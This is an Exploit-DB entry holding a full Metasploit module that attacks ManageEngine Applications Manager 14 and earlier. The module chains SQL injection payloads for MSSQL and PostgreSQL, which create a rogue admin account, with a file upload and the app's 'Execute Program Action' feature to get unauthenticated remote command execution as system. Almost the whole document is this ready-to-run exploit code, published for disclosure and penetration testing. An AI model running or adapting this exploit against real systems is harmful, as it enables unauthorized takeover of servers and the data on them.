ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)

EDB-ID:

46740


Author:

AkkuS

Type:

remote


Platform:

Multiple

Date:

2019-04-22


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux , the course required to become an Offensive Security Certified Professional (OSCP)

GET CERTIFIED

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine Applications Manager < 14.0 - Authentication Bypass / Remote Command Execution",
      'Description'    => %q(
        This module exploits sqli and command injection vulnerability in the ManageEngine AM 14 and prior versions.
        It is completely different from the previous EDB-ID:46725 exploit.
 
        Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides authentication bypass.
        Therefore an unauthenticated user can gain the authority of "system" on the server. 
        It uploads malicious file using the "Execute Program Action(s)" feature of the app with the new admin account.
 
        Tested: Applications Manager 14 on Linux 64-bit (PostgreSQL)
                Applications Manager 14 on Windows 10 64-bit (MSSQL)
                Applications Manager 14 on Windows 10 64-bit (PostgreSQL)
                Applications Manager 13 on Windows Server 2012 R2 64-bit (MSSQL)
                Applications Manager 12 on Windows Server 2012 R2 64-bit (PostgreSQL)
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
        ],
      'References'     =>
        [
          [ 'URL', 'http://pentest.com.tr/exploits/ManageEngine-App-Manager-14-Auth-Bypass-Remote-Command-Execution.html' ]
        ],
      'DefaultOptions' =>
        {
          'WfsDelay' => 60, # countermeasure
          'RPORT' => 8443,
          'SSL' => true
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Platform'       => ['unix', 'win', 'linux'],
      'Targets' =>
        [
          [ 'Windows Target',
            {
              'Platform' => ['win'],
              'Arch' => ARCH_CMD,
            }
          ],
          [ 'Linux Target',
            {
              'Platform' => ['unix','linux'],
              'Arch' => ARCH_CMD,
              'Payload' =>
                {
                  'Compat' =>
                    {
                      'PayloadType' => 'cmd',
                      'RequiredCmd' => 'generic perl ruby python',
                    }
                }
            }
          ]
        ],
      'DisclosureDate' => '22 April 2019',
      'DefaultTarget'  => 1))
 
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of ME', '/'])
      ],self.class)
  end
 
  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end
 
  def print_status(msg='')
    super("#{peer} - #{msg}")
  end
 
  def print_error(msg='')
    super("#{peer} - #{msg}")
  end
 
  def print_good(msg='')
    super("#{peer} - #{msg}")
  end
 
  def exec(action)
    # operation of malicious file. The end of the adventure :(
    send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'common', 'executeScript.do'),
      'cookie'  => @cookie,
      'vars_get' => {
        'method' => 'testAction',
        'actionID' => action,
        'haid' => 'null'
      }
    )
  end
##
# platform check
##
  def check_platform
    # First touch to support of execute program ;)
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'showTile.do'),
      'cookie'  => @cookie,
      'vars_get' => {
        'TileName' => '.ExecProg',
        'haid' => 'null',
      }
    )
    if res && res.code == 200 && res.body.include?('createExecProgAction')
      # Platform can be discovered precisely using an application dir.
      @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] # It will be recalled later
      if @dir =~ /:/
        platform = Msf::Module::Platform::Windows
      else 
        platform = Msf::Module::Platform::Unix
      end
    else
      fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
    end
    file_up(platform, @dir)
  end
##
# Creating and sending malicious files
##
  def file_up(platform, dir)
    # specifying an extension by platform
    if platform == Msf::Module::Platform::Windows
      filex = ".bat"
    else
      if payload.encoded =~ /sh/
        filex = ".sh"
      elsif payload.encoded =~ /perl/
        filex = ".pl"
      elsif payload.encoded =~ /python/
        filex = ".py"
      elsif payload.encoded =~ /ruby/
        filex = ".rb"
      else
        fail_with(Failure::Unknown, 'Payload type could not be checked!')
      end
    end
 
    @fname= rand_text_alpha(9 + rand(3)) + filex
    data = Rex::MIME::Message.new
    data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
 
    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data.to_s,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'cookie' => @cookie,
      'uri' => normalize_uri(target_uri, "Upload.do")     
    })
 
    if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control
      print_good("#{@fname} malicious file has been uploaded.")
      create_exec_prog(dir, @fname) # Great. Let's send them somewhere else o_O
    else
      fail_with(Failure::Unknown, 'The file could not be uploaded!')
    end
  end
 
  def create_exec_prog(dir, fname)
 
    @display = rand_text_alphanumeric(7)
    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     =>  normalize_uri(target_uri.path, 'adminAction.do'),
      'cookie'  => @cookie,
      'vars_post' => {
        'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
        'method' => 'createExecProgAction',
        'id' => 0,
        'displayname' => @display,
        'serversite' => 'local',
        'choosehost' => -2,
        'abortafter' => 5, # I think it would be enough for once. But I gave 5 O_o
        'command' => fname,
        'execProgExecDir' => dir,
        'cancel' => 'false'
      }
    )
 
    if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control
      # Find actionID simply from body res
      actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] 
      print_status("Transactions completed. Attempting to get a session...")
      exec(actionid)
    else
      fail_with(Failure::Unreachable, 'Connection error occurred!')
    end
 
  end
##
# Check all
##
  def check
    # Instead of detecting the database type, we can guarantee the vuln by sending a separate query to both.
    # The platform can be linux and possible remotely connected to the MSSQL database. 
    # In the same way platform can be windows and postgresql can be used. 
    # Thats why we are sending two queries. We will check the platform inside.
    @uname = Rex::Text.rand_text_alpha_lower(6)
    uid = rand_text_numeric(3)
    apk = rand_text_numeric(6) 
    @pwd = rand_text_alphanumeric(8+rand(9))
    # MSSQL injection should be prepared with ASCII characters. 
    # Map and join can be used for this.
    @uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)" # "ADMIN" CHARs - should not be random
    # PostgreSQL injection query // no need APIKEY
    pg_user ="" 
    pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"
    pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"
    pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"
    # MSSQL injection query
    ms_user =""
    ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"
    ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"
    ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"
    # Send SQL queries to both types of database(PostreSQL,MSSQL) with SQLi vuln..
    use_sqli(ms_user, pg_user)
 
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
    )
    # If the user we sent with queries was created, the login will be successful with new admin user.
    if res && res.code == 200 && res.body.include?('.loginDiv') # css control makes more sense. The application language may not be English.
      @cookie = res.get_cookies
      res = send_request_cgi(
        'method'  => 'POST',
        'uri'     =>  normalize_uri(target_uri.path, 'j_security_check'),
        'cookie'  => @cookie,
        'vars_post' => {
          'clienttype' => 'html',
          'j_username' => @uname,
          'j_password' => @pwd
        }
      )
 
      if res && res.code == 302 && res.body.include?('Redirecting to')
        res = send_request_cgi(
          'method'  => 'GET',
          'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
          'cookie'  => @cookie
          )
        @cookie = res.get_cookies # last cookie
        return Exploit::CheckCode::Vulnerable
      else
        return Exploit::CheckCode::Safe
      end
    else
      return Exploit::CheckCode::Safe
    end
    
  end
 
  def exploit
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    print_good("Excellent! Logged in as #{@uname}")
    print_status("Admin Username => #{@uname}")
    print_status("Admin Password => #{@pwd}")
    check_platform # Start the adventure
  end
##
# Communication with the database
##
  def use_sqli(mssql, postgresql)
    # two different post data must be sent.
    # Because the query structures are different.
    send_request_cgi(
      'method'  => 'POST',
      'uri'     =>  normalize_uri(target_uri.path, 'jsp', 'FaultTemplateOptions.jsp'),
      'vars_post' => {
        'resourceid' => mssql
      }
    )
    # important to send the +/$ characters clear
    send_request_cgi(
      {
      'method' => 'POST',
      'ctype'  => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path, 'jsp', 'FaultTemplateOptions.jsp'),
      'data' => "resourceid=#{postgresql}"
      }, 25)
 
  end
end
##
# The end of the codes (o_O) // AkkuS
##